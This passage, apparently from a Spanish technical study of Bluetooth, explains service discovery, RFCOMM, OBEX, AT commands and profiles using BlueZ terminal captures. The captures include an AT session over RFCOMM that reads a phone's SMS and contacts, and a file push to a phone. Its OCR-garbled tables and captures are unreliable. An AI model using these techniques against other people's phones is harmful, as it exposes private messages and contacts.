dispositivo, el usuario puede elegir aquel de ellos que resulte mas apropiado para
el tipo de comunicacidon que desea establecer.

Un servicio es cualquier entidad que puede ofrecer informacion, ejecutar una

accion o controlar un recurso. Un servicio puede estar implementado como
hardware, software o una combinacion de hardware y software.

2.3.6.1 — Services Classes
Un servicio concreto soportado por cierto dispositivo es una instancia de un

Service Class o clase de servicio. El Service Class describe los servicios genéricos
soportados por un dispositivo:
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Positioning (Location identification)

Networking (LAN, Ad hog, ...)

Rendering (Printing, Speaker, ...)

Capturing (Scanner, Microphone, ...)

Object Transfer (v-Inbox, v-Folder, ...)

Audio (Speaker, Microphone, Headset service, ...)
Telephony (Cordless telephony, Modem, Headset service, ...)
Information (WEB-server, WAP-server, ...)

O O O O o o0 o o

Para dar a conocer los servicios genéricos que soporta un dispositivo Bluetooth,
este incorpora en la cabecera de nivel de banda base de sus paquetes un campo
Class of Device/Service que contiene informacidn acerca de su Service Class.

22 6 15 27 0 bit ransmission order
| octetd [ octet? | nctet 1 | wetettrarsmission order

£ 11 his e 5 hil= vy & il . .
| Reservedfor Service Classes | Major dace dass |Ilinnr de vice olass | on | :’:I:l':r:g:;;p:;:: ad

LLPostiuning |—Furmattfpe

New alking
Rendering
Capturing
Object Transfer
Audio
L Telephony
L Infarmation

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband

El campo reservado para el Service Class se compone de 11 bits, del bit 23 al 13. En
la especificacién de banda base 1.1 de Bluetooth, se describe la siguiente relacion
entre los bits marcados en el campo Service Class y los servicios genéricos
soportados por el dispositivo.

Bit no Major Service Class

13 Limited Discoverable Mode [Ref#1]

14 fresened)

148 fresened)

16 Fositioning (Location identification)

17 Metworking (LAM, Ad hoc, )

18 Rendering {Printing, Speaker, ..

149 Capturing {(Scanner, Micraphane, )

20 Chject Transfer fw-Inbox, w-Folder, ..}

1 Audio (Speaker, Microphone, Headset service, ..}
22 Telephony (Caordless telephony, Modem, Headset service, )
23 Infarmation WWEB-server, WAP-server, )

Fuente: https://www.bluetooth.org/foundry/assignnumb/document/baseband
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Conociendo el Class of Device/Service de un dispositivo Bluetooth, se puede
averiguar facilmente el conjunto de servicios genéricos soportados por el mismo.

= gospel@® GospelBook:~ E“EIEI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelBook ~]% hecitool ing
Inguiring ... I

9 clock offset: Ox55e9 1 Ox320114

z

00:10:C6:55:E4:
[gospel@GospelBook ~1%

En este ejemplo, la herramienta Hcitool ha detectado un dispositivo cuyo Class of
Device/Service es 0x320114.

Representando 0x320114 en binario, obtenemos:

Ne°bit: 2322212019181716151413 1 12111009 08 07 | 06 0504 03 02 | 01 00
Valor: 0 011 0010000I00001T0I0O01TO011I1 00

Se observa que aparecen marcados los bits 21, 20 y 17, que, tal y como establece la
tabla Major Service Classes, representan la disponibilidad de los siguientes servicios
genéricos:

e bit 21: Audio (Speaker, Microphone, Headset service, ...)
e bit 20: Object Transfer (v-Inbox, v-Folder, ...)
e bit 17: Networking (LAN, Ad hog, ...)

= gospel@® GospelBook:~ g@@

Archivo Editar Ver Terminal Solapas Ayuda

Class: 0x320114 [001100100000000100010100]
- Servicios soportados (Service Classes):

- Audio (Speaker, Microphone, Headset service,
- Object Transfer (v-Inbox, v-Folder, ...)
- Networking (LAN, Ad hoc, ...)

2.3.6.2 — Service Record

Toda la informacion relacionada con un servicio que mantiene un servidor SDP
esta contenida en un Service Record o registro individual de servicio.

Un Service Record consiste en una lista de atributos que describen caracteristicas de
un servicio: Service Name, Service Description, Provider Name, Service Record
Handle, Service Class ID List, Service Record State, Service ID, Protocol
Description List, Browse Group List, Language Base Attribute ID List, Service Info
Time To Live, Service Avaliability y Bluetooth Profile Descriptor List.
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El protocolo SDP permite realizar dos tipos de operaciones relacionadas con el
descubrimiento de servicios en dispositivos Bluetooth: busqueda y enumeracién
de servicios.

0 La operaciéon busqueda de servicios (Service Searching) permite a un cliente
SDP encontrar dispositivos que ofrecen un servicio especifico.

0 La operacién enumeracién de servicios (Service Browsin) permite a un
cliente SDP conocer los servicios ofrecidos por un determinado dispositivo.

En ambos casos, el resultado de la peticion SDP devolvera al cliente que la origind
una lista de servicios descubiertos acompanada por la definicion de los mismos a
través de sus Service Records.

La pila de protocolos BlueZ para Linux dispone de una herramienta de gestion
SDP llamada Sdptool que permite llevar a cabo los dos tipos de operaciones
anteriormente descritos.

Permite buscar dispositivos cercanos que ofrezcan un servicio especifico, como por
ejemplo Puerto Serie, Manos Libres, etc.

= gospel® GospelBook:~ E“E“Zl

Archivo Editar Wer Terminal Solapas Ayuda

[gospel@GospelBook ~]1% sdptool search SF
Inquiring
Searching for 5P on 00:0E:6D:EB:08:91 ...
Service Name: Bluetooth Serial Port
Service Description: Bluetooth Serial Port
Service Prowvider: Symbian Ltd.
Service RecHandle: Ox10002
Service Class ID List:
"Serial Port" (Ox1101)
Protocol Descriptor List:
"L2ZCAP" (0Ox0100)
"RF M" (Ox0003)
Chammel: 2
Language B Attr List:
: Ox6
codi Ox6
base_offset: Ox100

Searching for SP on 00:10:C6:55:E4:39
Service Name: Numero de serie genérico
Service RecHandle: Ox10004
ID List:
(0x1101)

(0%0100)
(0x0003)

[gospel@GospelBook ~15 []
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La especificacion de la herramienta sdptool establece los siguientes servicios
disponibles para operaciones de busqueda:

DID, SP, DUN, LAN, FAX, OPUSH, FTP, HS, HF, SAP, NAP, GN, PANU, HID, CIP, CTP,
A2SRC, A2SNK, AVRCT, AVRTG, SR1, SYNCML, ACTIVESYNC, HOTSYNC, PALMOS, NOKIA
PCSUITE.

Sdptool también permite enumerar todos los servicios disponibles en un
determinado dispositivo.

(=] gospel@® GospelBook:~ IZHEHEI

Archivo Editar Ver Terminal Solapas Ayuda

Ox1106)
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2.3.7 - Capa RFCOMM

El protocolo RFCOMM (Radio Frequency Communication) es un protocolo de
emulacion de linea serie basado en el estandar ETSI TS 07.10. Proporciona una
emulacion de los puertos serie RS-232 sobre el protocolo L2CAP.

Este protocolo de “sustitucion de cable serie” emula las sefiales de control y datos
RS-232 sobre la banda base, proporcionando capacidades de transporte a los
servicios de niveles superiores que utilizan el cable serie como mecanismo de
transporte.

Para los propdsitos de RFCOMM, un camino de comunicacion directa involucra
siempre a dos aplicaciones que se ejecutan en dos dispositivos distintos extremos
de la comunicacion. Entre ellos existe un segmento que los comunica, en este caso,
un enlace Bluetooth desde un dispositivo al otro. RFECOMM pretende soportar
aquellas aplicaciones que utilizan los puertos serie de los dispositivos donde se
ejecutan.

RFCOMM es un protocolo de transporte sencillo que soporta hasta 9 puertos serie
RS-232 y permite hasta 60 conexiones simultaneas (canales REFECOMM) entre dos
dispositivos Bluetooth.

El comando Rfcomm de la pila de protocolos BlueZ para Linux permite establecer
comunicacion con un dispositivo Bluetooth.

= gospel @ GospelBook:~ E"E"ZI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelBook ~]1% rfcomm connect O O0:0E:6D:EB:08:91 1
Connected /dewv,/rfcomm0 to O00:0E:6D:EB:08:91 on channel 1

Press CTRL-C for hangup

[]

= gospel@® GospelBook:~ E“EIEI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelBook ~]1% rfcomm
rfcommO: O0:0A:94:01:D9:E1 -> 00:0E:6D:EB:08:91 channel 1 connected

elease-on-hup tty-attached]
[gospel@GospelBook ~1%
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2.3.8 — Protocolo OBEX

OBEX (OBject EXchange) es un protocolo de nivel de sesion desarrollado
originalmente por la asociacion IrDA (Infrared Data Association) con el nombre de
IrOBEX. Su objetivo es soportar el intercambio de objetos de forma simple y
espontanea. OBEX se basa en el modelo cliente/servidor y es independiente del
mecanismo de transporte, aunque en la implementacion de OBEX en la
especificacion Bluetooth sélo se utiliza RFECOMM como nivel de transporte.

2.3.9 — Protocolos adoptados PPP

La especificacion Bluetooth emplea varios protocolos existentes que se reutilizan
para diferentes propositos en los niveles superiores. El objetivo de la
implementacién de estos protocolos es permitir que aplicaciones antiguas
funcionen con la tecnologia inaldambrica Bluetooth y ayudar a asegurar un correcto
funcionamiento e interoperabilidad de esas aplicaciones con aplicaciones
modernas disefiadas especificamente para dispositivos Bluetooth.

Bluetooth utiliza el protocolo PPP desarrollado por el IETF (Internet Engineering
Task Force), que define cdmo se transmiten los datagramas IP sobre enlaces punto-
a-punto, para garantizar la interoperabilidad de dispositivos Bluetooth con
aplicaciones basadas en protocolos TCP y UDP en ultima instancia.

2.3.10 - Comandos AT

Los comandos AT son instrucciones codificadas que conforman un lenguaje de
comunicacion entre el hombre y un terminal mdédem. Los comandos AT se
denominan asi por la abreviatura de attention.

El juego de comandos AT fue desarrollado en 1977 por Dennis Hayes como un
interfaz de comunicacion con un moédem para poder configurarlo y proporcionarle
instrucciones, tales como marcar un numero de teléfono. Mas adelante, fueron las
companias Microcomm y US Robotics las que siguieron desarrollando y
expandiendo el juego de comandos hasta universalizarlo.

La telefonia movil GSM también ha adoptado como estandar este lenguaje para
poder comunicarse con sus terminales. De esta forma, todos los teléfonos moviles
GSM poseen un juego de comandos AT especifico que sirve de interfaz para
configurar y proporcionar instrucciones a los terminales.
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El juego de comandos AT puede encontrarse en la documentacion técnica de los
terminales GSM y permite acciones tales como realizar llamadas de datos o de
voz, leer y escribir entradas en la agenda de contactos y gestion de mensajes SMS,
ademads de muchas otras opciones de configuracion del terminal.

Se puede encontrar un resumen de los comandos AT GSM mads importantes en el
Anexo I - Juego de comandos AT GSM.

La implementacion de los comandos AT es especifica del terminal GSM y no
depende del canal de comunicacion a través del cual los comandos sean enviados,
ya sea cable de serie, canal Infrarrojos o Bluetooth. De esta forma, existen en el
mercado distintos teléfonos modviles que implementan el juego completo de
comandos AT o sélo parcialmente, en cuyo caso implementaran uno o varios de
los siguientes bloques de comandos AT:

0 Bloque basico de comandos AT, relacionado con la configuracién y el envio
de instrucciones al terminal. Permite llevar a cabo, entre otras, las siguientes
operaciones: Realizar llamadas de voz y de datos, configurar desvios de
llamadas, obtener informacion basica sobre la marca, modelo e IMEI
(Internacional Mobile Equipment Identity) del terminal, asi como del nivel
de bateria, calidad de cobertura, etc.

0 Bloque de comandos AT referido a la gestion de la agenda de contactos, ya
sea la memoria contenida en la tarjeta SIM o la lista de ultimas llamadas
realizadas, perdidas y recibidas almacenada en el terminal. Se pueden
llevar a cabo las siguientes acciones: leer un contacto, anadir y eliminar una
entrada de la agenda, buscar un contacto por nombre, etc.

0 Bloque de comandos AT referido a la gestion de mensajes SMS. Permite
ejecutar las siguientes operaciones: obtener el listado de los mensajes SMS
almacenados en memoria, leer un mensaje SMS de la bandeja de entrada,
eliminar un mensaje SMS existente, escribir un nuevo mensaje SMS, enviar
mensajes SMS, etc.

Ejemplo de tabla comparativa con el grado de implementacion de los bloques de
comandos AT en algunos de los teléfonos moviles mas populares:

Soporta
Modelo L

Bloque basico Bloque Agenda  Bloque SMS
Nokia™ 6820 v v
Sony-Ericsson™ T68i v v
Nokia™ 6600 v
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Esquema grafico del modelo peticion/respuesta de los comandos AT:
CONEXION RFCOMM A

y AT +CGMM
.‘!IIII'. 4 - O O O O O O S O EE e e e e o e
~ \ = e e e mm e e e e e e e e e e

Hokia 6600

CONEXION RECOMM A

AT+CPBR=1

+CPBR: 1,7619123456",129, "Gospel™

CONEXION RECOMM h

y AT +CMGR=1

4 -—-—-—-_-—-—-—-_-—*
_’K e T e e T e e S ot e O ot e B e e et 1 e B et 1 e B e e
LS \ +CMGR: “REC READ",“619123456", ,%06/06/18,10:06: 22-08*

LLAM. PERDIDAS Dom, 18. 1 llam. de 619123456, 10:06

Ejemplo de una sesion de comandos AT con un teléfono moévil:

u root@® gospel:~

Archivo Editar Ver Terminal Solapas A!uda

[root@gospel ~]# rfcomm bind /dev/rfcomm2 O00:0E:ED:83:52:F3 3
[root@gospel ~]# cu -1 rfcomm2 -s 9600

Connected.

AT

0K

AT+CGMM

Nokia 6820

OK
AT+C5Q
+C5Q: 30,99

0K
AT+CMGF=1
0K
AT+CMGR=1
+CMGR: "REC READ","619 s, "05/10/29,19:50:38+08"
LLAM. PERDIDAS

Sab, 29

Acabo de llamar desde 619 , 19:49
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2.4 — Perfiles Bluetooth

2.4.1 — Perfiles genéricos de Bluetooth

El SIG Bluetooth ha identificado varios modelos de uso del estandar de
comunicaciones Bluetooth, cada uno de los cuales esta acompanado por un perfil.
Los perfiles definen los protocolos y caracteristicas que soportan un modelo de
uso particular. Esto garantiza la interoperabilidad, ya que si dos dispositivos de
distintos fabricantes cumplen con la misma especificacion del perfil Bluetooth,
podemos esperar que interactiien correctamente cuando se utilicen para un uso
particular.

Un perfil define los mensajes especificos y procedimientos usados para
implementar una caracteristica. Algunas caracteristicas son obligatorias y algunas
pueden ser opcionales.

Se definen cuatro perfiles genéricos que contienen la especificacion de los perfiles
especificos: el Perfil de Acceso Genérico (GAP, Generis Access Profile), el Perfil de
Puerto Serie (SPP, Serial Port Profile), el Perfil de Aplicacion de Descubrimiento de
Servicios (SDAP, Service Discovery Application Profile) y el Perfil Genérico de
Intercambio de Objetos (GOEP, Generic Object Exchange Profile).

Perfil de Acceso Generico TCS BIN

Perfil de Descubrimiento de
Servicios

Perfil de Puerto Serie

Perfil Genérico de Intercambio de Objetos
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2.4.1.1 - Perfil de Acceso Genérico

El Perfil de Acceso Genérico (GAP, Generis Access Profile) define los
procedimientos generales para descubrir dispositivos Bluetooth, asi como los
procedimientos de gestion de enlace para establecer una conexién entre dos
dispositivos Bluetooth.

El Perfil GAP debe implementarse en cualquier dispositivo Bluetooth para
asegurar la interoperabilidad bdsica y la coexistencia con otros dispositivos,
independientemente del tipo de aplicacion que soporten. Los dispositivos que
ademds cumplan otro perfil Bluetooth pueden emplear adaptaciones de los
procedimientos genéricos, tal como se especifiquen en ese perfil. Sin embargo,
deben seguir siendo compatibles con el perfil GAP en el nivel de procedimientos
genéricos.

2.4.1.2 — Perfil de Puerto Serie

Cuando la tecnologia inaldmbrica Bluetooth se utiliza para sustituir al cable, se
emplea el Perfil de Puerto Serie (SPP, Serial Port Profile) para el canal resultante
orientado a conexion. Este perfil estd construido sobre el Perfil de Acceso Genérico
y define cdmo deben configurarse los dispositivos Bluetooth para emular una
conexion a través de un cable serie utilizando RFCOMM, un protocolo de
transporte sencillo que emula los puertos serie RS-232 entre dispositivos
homdlogos.

Las aplicaciones ejecutadas en los dispositivos son normalmente aplicaciones
heredadas que esperan que la comunicacidn tenga lugar a través de un cable serie.
Cualquier aplicacién heredada puede ser ejecutada sobre cualquiera de los dos
dispositivos utilizando el puerto serie virtual como si los conectara un cable fisico,
con sefalizacidn de control RS-232; pudiendo necesitar la ayuda, en algunos casos,
de una aplicacidn auxiliar que utilice la especificacién Bluetooth a ambos lados del
enlace.

2.4.1.3 — Perfil de Aplicacion de Descubrimiento de Servicios
El Perfil de Aplicacién de Descubrimiento de Servicios (SDAP, Service Discovery
Application Profile) describe las caracteristicas y procedimientos utilizados para

descubrir servicios registrados en otros dispositivos Bluetooth y obtener
informacion acerca de esos servicios.
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El Perfil SDAP utiliza el Protocolo de Descubrimiento de Servicios SDP, incluido
en la pila de protocolos Bluetooth, para localizar los servicios disponibles en
dispositivos situados dentro del radio de accion de un dispositivo Bluetooth. El
procedimiento de descubrimiento de servicios en dispositivos proximos no es
automatico, se requiere que el usuario invoque especificamente al protocolo SDP
mediante la Aplicacion de Descubrimiento de Servicios. Una vez que se crea el
enlace con un dispositivo determinado, se pueden localizar los servicios que ofrece
y estos pueden ser seleccionados a través del interfaz de usuario segun el tipo de
aplicacion que se desee ejecutar.

El protocolo SDP permite realizar dos tipos de operaciones relacionadas con el
descubrimiento de servicios en dispositivos Bluetooth:

0 Busqueda de servicios (Service Searching): permite localizar dispositivos
cercanos que ofrezcan un servicio especifico.

0 Enumeracion de servicios (Service Browsing): permite conocer los servicios
ofrecidos por un determinado dispositivo.

2.4.1.4 — Perfil Genérico de Intercambio de Objetos

El Perfil Genérico de Intercambio de Objetos (GOEP, Generic Object Exchange
Profile) define cdémo deben soportar los dispositivos Bluetooth los modelos de uso
de intercambio de objetos. Incluye tres perfiles asociados a modelos de uso
especificos basados en el protocolo OBEX (OBject EXchange): el Perfil de
Transferencia de Archivos (OBEX File Transfer), el Perfil de carga de objetos
(OBEX Obiject Push) y el Perfil de Sincronizacion.

Como se describira mas adelante, OBEX permite escenarios de conexion rapida:
transferencia-desconexion (OBEX Object Push) y también permite el
establecimiento de sesiones en las que las transferencias tienen lugar durante un
periodo de tiempo, manteniendo la conexion incluso cuando esté inactiva (OBEX
File Transfer).

El uso principal de OBEX se realiza en aplicaciones de carga y descarga de archivos.
Se basa en el modelo cliente/servidor. Bajo el Perfil Genérico de Intercambio de
Objetos, un cliente carga o envia objetos de datos en un servidor mediante la
operacion PUT del protocolo OBEX; o bien descarga o recibe objetos de datos desde
un servidor mediante la operacion GET del protocolo OBEX.
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2.4.2 — Perfiles Bluetooth para modelos de uso

Se han identificado cuatro perfiles genéricos (GAP, SPP, SDAP y GOEP), sobre los
que se definen los diferentes perfiles especificos para modelos de uso. Estos
perfiles Bluetooth para modelos de uso son mdaltiples y variados, y se
implementan de manera opcional e independiente por cada fabricante y tipo de
dispositivo.

Perfil de Acceso Generico

Perfil de Telefonia Inalambrica

Perfil de Intercomunicacion

Perfil de Acceso Telefdnico a Redes

Perfil de Transferencia de Archivos
Perfil de Auriculares
Perfil de Carga de Objetos
Perfil de Fax

Perfil de Sincronizacién
Perfil de Acceso a Red

La especificacion Bluetooth 1.0 define los siguientes perfiles:

Perfil de Telefonia Inaldmbrica (CTP, Cordless Telephony Profile)
Perfil de Intercomunicacion (IP, Intercom Profile)

Perfil de Puerto Serie (SP, Serial Port Profile)

Perfil de Acceso Telefonico a Redes (DUN, Dial-Up Networking)
Perfil de Auriculares (HS, HeadSet Profile)

Perfil de Fax (FP, Fax Profile)

Perfil de Acceso a Red (LAP, LAN Access Profile)

Perfil de Transferencia de Archivos (FTP, File Transfer Profile)
Perfil de Carga de Objetos (OPUSH u OPP, Object Push Profile)
Perfil de Sincronizacién (Sync, Synchronization Profile)

O O 0O O 0O 0O o 0o oo
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Adicionalmente, los siguientes perfiles han sido recientemente aprobados por el
SIG o estan en fase de desarrollo:

ESDP, Extended Service Discovery Profile
A2DP, Advanced Audio Distribution Profile
AVRCP, Audio Video Remote Control Profile
BIP, Basic Imaging Profile

BPP, Basic Printing Profile

CIP, Common ISDN Access Profile

GAVDP, Generic Audio Video Distribution Profile
HFR, Hands-Free Profile

HCRP, Hardcopy Cable Replacement Profile
HID, Human Interface Device Profile

PAN, Personal Area Networking Profile

SAP, SIM Access Profile

O OO0 O 0O 0O 0o o oo o o

2.4.2.1 — Perfil de Acceso Telefonico a Redes

El Perfil de Acceso Telefonico a Redes (DUN, Dial-Up Networking) define los
protocolos y procedimientos utilizados por dispositivos tales como modems y
teléfonos moviles para implementar el modelo de uso denominado puente hacia
Internet. El escenario posible mds habitual para este modelo es el uso del teléfono
movil como modem inaldmbrico para conectar un PC a un servicio de acceso
telefonico a Internet.

2.4.2.2 — Perfil de Auriculares

El Perfil de Auriculares (HS, HeadSet Profile) define los protocolos y
procedimientos para el modelo de uso que permite utilizar un dispositivo
auricular de ultima generacion como interfaz de entrada y salida de audio de otro
dispositivo, generalmente un teléfono movil o un PC, con el proposito de
incrementar la libertad de movimiento del usuario al mismo tiempo que se
mantiene la confidencialidad de la conversacion.

Se definen dos roles para los dispositivos que implementan el Perfil de
Auriculares: pasarela de audio y auricular. El dispositivo pasarela de audio es aquel
que inicia el procedimiento de conexion, mientras que el dispositivo auricular se
define como el que acttia como mecanismo de entrada y salida de audio remotas
para la pasarela de audio.
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El modelo de uso del Perfil de Auriculares permite multitud de configuraciones y
define tres escenarios de uso habituales:

0 Manos Libres Auriculares (Hands-Free HeadSet) conectado a un teléfono
movil: Permite al usuario mantener conversaciones telefénicas sin
necesidad de acercar el terminal al oido. Su empleo puede extenderse a
comunicaciones con PCs, para aplicaciones de VoIP (Voz sobre IP) como
Skype.

GSM

BLA, BLA,
BLA, BLA,

BLUETOOTH

s ® e,
o. .'.

L]
BLA, BLA,
BLa, BLA,

>

0 Manos Libres de automovil (Hands-Free Car Kit) conectado a un teléfono
movil: Permite al usuario mantener conversaciones telefonicas en el interior
de un vehiculo sin necesidad de apartar las manos del volante para sostener
el teléfono movil.

GSM

BLUETOOTH
e ®

BLA, BILA,
BLA, BILA,
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0 Pasarela de audio entre dos dispositivos Bluetooth cualesquiera: Permite a
un usuario configurar dos equipos Bluetooth, que no tienen porqué tratarse
de auriculares, sino simples PCs o PDAs, y establecer una pasarela de audio
entre los dos, de forma que el audio que reproduce el software de un
dispositivo, se transmite al otro dispositivo a través del enlace SCO
(Synchronous Connection Oriented) y puede ser proyectado por los
altavoces del segundo. Asi mismo, el audio recogido por el micréfono de
un dispositivo se transmite al otro dispositivo, donde puede ser grabado en
un archivo de sonido.

o) |

o

]
*®e,,  BLUETOOTH
20000000 ®

establecimiento y la liberacion del enlace SCO. El auricular conecta y desconecta
directamente los flujos internos de audio durante el establecimiento y liberacion
del enlace SCO. Una vez que el enlace esta establecido, existe una transferencia
valida de audio sobre el enlace SCO en ambas direcciones.

2.4.2.3 — Perfil de Fax

El Perfil de Fax (FP, Fax Profile) define los protocolos y procedimientos utilizados
por aquellos dispositivos que implementen la parte de fax del modelo de uso
llamado punto de acceso a datos en redes WAN. Un teléfono movil o un mdédem que
utilice tecnologia Bluetooth puede ser utilizado por un PC como dispositivo fax
inalambrico para enviar y recibir mensajes de fax.
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2.4.2.4 — Perfil de Acceso a Red

El Perfil de Acceso a Red (LAP, LAN Access Profile) define cémo los dispositivos
Bluetooth pueden acceder a los servicios de una LAN (Local Area Network)
utilizando el protocolo PPP sobre RFCOMM, y como puede utilizarse el mismo
protocolo PPP para conectar en red dos dispositivos utilizando Bluetooth. En este
modelo de uso, varios terminales de datos utilizan un punto de acceso a la red
(LAP, LAN Access Point) como conexion inalambrica a una red de area local, de
forma que operan como si estuviesen conectados a la red directamente.

PPP (Point to Point Protocol) es un estandar de la IETF utilizado ampliamente
como medio de acceso a redes. Aunque PPP es capaz de soportar varios
protocolos de red (IP, IPX, etc.), el Perfil de Acceso a Red no obliga al uso de
ningn protocolo en particular. El Perfil de Acceso a Red simplemente define
cdmo se soporta PPP para proporcionar acceso a la LAN a uno o multiples
dispositivos Bluetooth y para establecer una comunicaciéon PC a PC utilizando
conexiones PPP sobre una emulacién de cable serie a través de RFCOMM.

2.4.2.5 — Perfil de Transferencia de Archivos

El Perfil de Transferencia de Archivos (FTP, File Transfer Profile) soporta el
modelo de uso de transferencia de archivos a través del protocolo OBEX File
Transfer, el cual ofrece la capacidad de transferir objetos de datos (archivos y
carpetas) de un dispositivo Bluetooth a otro, asi como navegar por los contenidos
de las carpetas del dispositivo remoto.

Los dispositivos que implementan el Perfil de Transferencia de Archivos pueden
actuar como cliente o como servidor. El dispositivo cliente es aquel que inicia la
operaciéon de envio o extraccion de objetos al y desde el dispositivo servidor. El
servidor es el dispositivo Bluetooth remoto que proporciona un servidor de
intercambio de objetos a través de los comandos OBEX. Los servidores pueden
imponer politicas de restriccion de permisos de lectura y escritura, para evitar la
creacion y borrado de carpetas y archivos.

Se definen las siguientes operaciones en el Perfil de Transferencia de Archivos:

Navegar por la jerarquia de carpetas.
Listar el contenido de una carpeta.

Extraer objetos, mediante el comando GET.
Enviar objetos, mediante el comando PUT.
Borrar objetos.

O O O O O
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A continuacidon se muestra un ejemplo practico de una aplicacion basada en el
protocolo OBEX File Transfer, Obexftp.

Obexftp es una herramienta open source basada en el proyecto OpenObex
(http://openobex.trig.net/), que pretende implementar el protocolo OBEX en
plataformas Linux, para lo cual utiliza la pila de protocolos BlueZ. Obexftp
permite la transferencia de archivos hacia o desde cualquier dispositivo que
soporte el protocolo OBEX File Transfer.

En la siguiente captura, se muestra Obexftp en accion:

= gospel@ GospelFC5:~ E“E“ZI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~]% hcitool scan
Scanning
00:0E:6D:EB:08:91 Nokia 6600
[gospel@GospelFC5 ~]% sdptool search FTP
Inguiring ..
Searching for FTP on OO0:0E:6D:EB:08:91 ...
Service Name: OBEX File Transfer
Service RecHandle: Ox10008
Service Class ID List:
"OBEX File Transfer" (Ox1106)
Protocol Descriptor List:
"1.: (0x0100)
MM" (00003 )
Channel: 10
"OBEX" (Ox0008)
Language ]
encoding:
base_offset: Ox100
Profile Descriptor List:
"OBEX File Transfer" (0x1108)
Version: Ox0100

ospelFC5 ~]% obexftp -v -b 00:0E:6D:EB:08:91 -p /home/gospel/owned.jpg
:EB:08:91

pel/owned. jpg". .. /done
ne

~1% [

El procedimiento de transferencia de archivos con Obexftp transcurre de la
siguiente forma. En primer lugar, se localiza el dispositivo Bluetooth al cual se
quiere transferir el archivo con ayuda del comando hcitool scan, luego se
comprueba que soporta el Perfil de Transferencia de Archivos (FTP) con ayuda del
comando sdptool search FTP y finalmente se envia el archivo a través de la
herramienta Obexftp.
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2.4.2.6 — Perfil de Carga de Objetos

El Perfil de Carga de Objetos (OPUSH u OPP, Object Push Profile) define los
requisitos de aplicacion para implementar el modelo de uso de carga de objetos a
través del protocolo OBEX Object Push, el cual ofrece la capacidad de cargar y
descargar objetos de datos de un dispositivo Bluetooth a otro.

Inicialmente, el Perfil de Carga de Objetos se utilizaba para cargar y descargar
objetos tales como citas en formato vCalendar o tarjetas de visita en formato vCard
de otro dispositivo, lo que permitia el intercambio de tarjetas de visita entre dos
dispositivos Bluetooth. Actualmente, el perfil conserva esta funcionalidad, aunque
también se utiliza para transferencia rapida de archivos.

A continuacion se muestran dos ejemplos practicos de aplicaciones basadas en el
protocolo OBEX Object Push, ObexPush y Ussp-push.

2.4.2.6.1 - ObexPush

ObexPush es una utilidad incluida en el paquete openobex-apps (dependiente de
cada distribucion Linux) que contiene aplicaciones basadas en el proyecto
OpenObex, que implementa el protocolo OBEX en Linux a través de la pila de
protocolos BlueZ. ObexPush permite la carga y descarga de archivos hacia o desde
cualquier dispositivo que implemente el protocolo OBEX Object Push.
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El procedimiento de transferencia de archivos con ObexPush transcurre de la
siguiente forma. En primer lugar, se localiza el dispositivo Bluetooth al cual se
quiere transferir el archivo con ayuda del comando hcitool scan, luego se
comprueba que soporta el Perfil de Carga de Objetos con ayuda del comando
sdptool search OPUSH vy finalmente se envia el archivo con la herramienta
ObexPush. Notese que, en este caso, es necesario especificar el pardmetro 9 que
corresponde al canal que emplea OBEX Object Push en ese dispositivo.

2.4.2.6.2 — Ussp-Push

Ussp-Push es otra herramienta basada en la pila de protocolos BlueZ para Linux.
Permite inicamente la carga de objetos en otros dispositivos Bluetooth.

En las siguientes capturas, se muestra Ussp-Push en acciéon. En primer lugar,
requiere establecer una conexion RFCOMM explicita con el dispositivo Bluetooth
al cual se quiere transferir el archivo.
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[gospel@GospelBook ~]1% rfcomm connect O Q00:0E:6D:EB:08:91 9
Connected /dev/rfcomm0 to O00:0E:6D:EB:08:91 on channel 1

Press CTRL-C for hangup

A continuacidn, desde otra ventana de shell lanzamos Ussp-Push.
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En los tres casos de ejemplo practico de transferencia de archivos a través de
aplicaciones basadas en el protocolo OBEX, el dispositivo servidor se trataba de un
teléfono maévil Nokia™ 6600 basado en Symbian OS. Al recibir el archivo a través
del protocolo OBEX, el teléfono lo almacena en la bandeja de entrada con formato
de mensaje SMS y notifica al usuario de la recepcion del mismo.
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2.4.2.7 — Perfil de Sincronizacion

El Perfil de Sincronizacién define los requisitos para los protocolos y
procedimientos utilizados por las aplicaciones que proporcionan el modelo de uso
de sincronizacion. El modelo proporciona sincronizacidon dispositivo a dispositivo
de programas de gestion de la informacién personal (PIM, Personal Information
Management). La informacion que manejan estos programas consiste
normalmente en una agenda de teléfonos de contactos, calendario, mensajes y
notas.

Los dispositivos que implementan el Perfil de Sincronizacién pueden actuar como
cliente y servidor.

Las unidades activas en el modelo de uso de sincronizacion deben soportar tres
funciones: sincronizacién, comando de sincronizacion y sincronizacion
automatica.

0 La sincronizacion en Bluetooth debe soportar al menos una de las
siguientes clases de aplicacion:

e Sincronizacion de agendas telefonicas
e Sincronizacion de calendarios

e Sincronizacion de mensajes

e Sincronizacion de notas

Para conseguir la interoperabilidad a nivel de aplicacion, se definen formatos de
contenido especificos para cada unidad activa. Estos formatos de contenido son
los siguientes: vCard, vCalendar, vMessage y vNote.

0 La funcién de comando de sincronizacion permite a un dispositivo cliente
trabajar como un servidor y recibir un comando de sincronizacion desde
otro dispositivo cliente.

0 La funcion conocida como sincronizacion automatica permite a un
dispositivo cliente iniciar la sincronizacion cuando el dispositivo servidor
entra dentro de su rango de cobertura. En el nivel de banda base, esto
significa que el cliente realiza una busqueda del servidor a intervalos
regulares, y cuando detecta que éste ha entrado en su rango de cobertura
comienza la sincronizacion.
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2.5 — Elementos de seguridad en Bluetooth

Bluetooth incorpora varios mecanismos de seguridad que lo convierten en uno de
los protocolos de comunicaciones mas seguros y robustos frente a ataques y
capturas de datos. Se definen mecanismos de seguridad en las siguientes capas de
protocolo:

0 Seguridad a nivel de banda base

0 Seguridad a nivel de enlace

2.5.1 — Seguridad a nivel de banda base

Bluetooth trabaja en la frecuencia de 2.4 GHz de la banda ISM (Industrial,
Scientific and Medical) disponible a nivel mundial y que no requiere licencia de
operador. Con el fin de evitar interferencias con otras tecnologias que operen en la
misma banda de frecuencias, Bluetooth emplea la técnica de salto de frecuencias
(FHSS, Frequency Hopping Spread Spectrum), que consiste en dividir la banda en
79 canales (23 en Espafa, Francia y Japon) de longitud 1 MHz y realizar 1600
saltos por segundo.
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Durante el proceso de establecimiento de la conexion en una piconet, el
dispositivo maestro genera una tabla pseudoaleatoria con la secuencia o patrén de
